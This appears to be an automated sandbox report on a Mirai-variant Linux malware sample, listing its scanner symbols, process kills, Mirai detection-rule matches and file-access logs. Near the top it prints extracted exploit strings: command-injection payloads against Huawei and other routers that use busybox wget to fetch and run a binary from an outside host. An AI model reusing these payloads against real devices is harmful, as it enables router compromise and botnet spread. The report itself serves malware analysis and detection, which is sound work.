Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: gpon443_scanner_rawpkt
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: huaweiscanner_fake_time
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: huaweiscanner_rsck
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_init
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_kill
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_pid
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: huaweiscanner_scanner_rawpkt
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: huaweiscanner_setup_connection
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: jaws_scanner
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: jaws_scanner_pid
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: jaws_scanner_rawpkt
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: scanner.c
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: scanner_init
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: scanner_kill
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: scanner_pid
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: scanner_rawpkt

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5514, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5515, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5517, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5518, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5519, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior

Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_122ff2e6 reference_sample = c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348, id = 122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80, last_modified = 2021-09-16
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa48b592 reference_sample = c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88, id = fa48b592-8d80-45af-a3e4-232695b8f5dd, last_modified = 2021-09-16
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_122ff2e6 reference_sample = c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348, id = 122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80, last_modified = 2021-09-16
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa48b592 reference_sample = c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88, id = fa48b592-8d80-45af-a3e4-232695b8f5dd, last_modified = 2021-09-16
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_122ff2e6 reference_sample = c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348, id = 122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80, last_modified = 2021-09-16
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa48b592 reference_sample = c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88, id = fa48b592-8d80-45af-a3e4-232695b8f5dd, last_modified = 2021-09-16
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@1/0

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5517)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5518)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
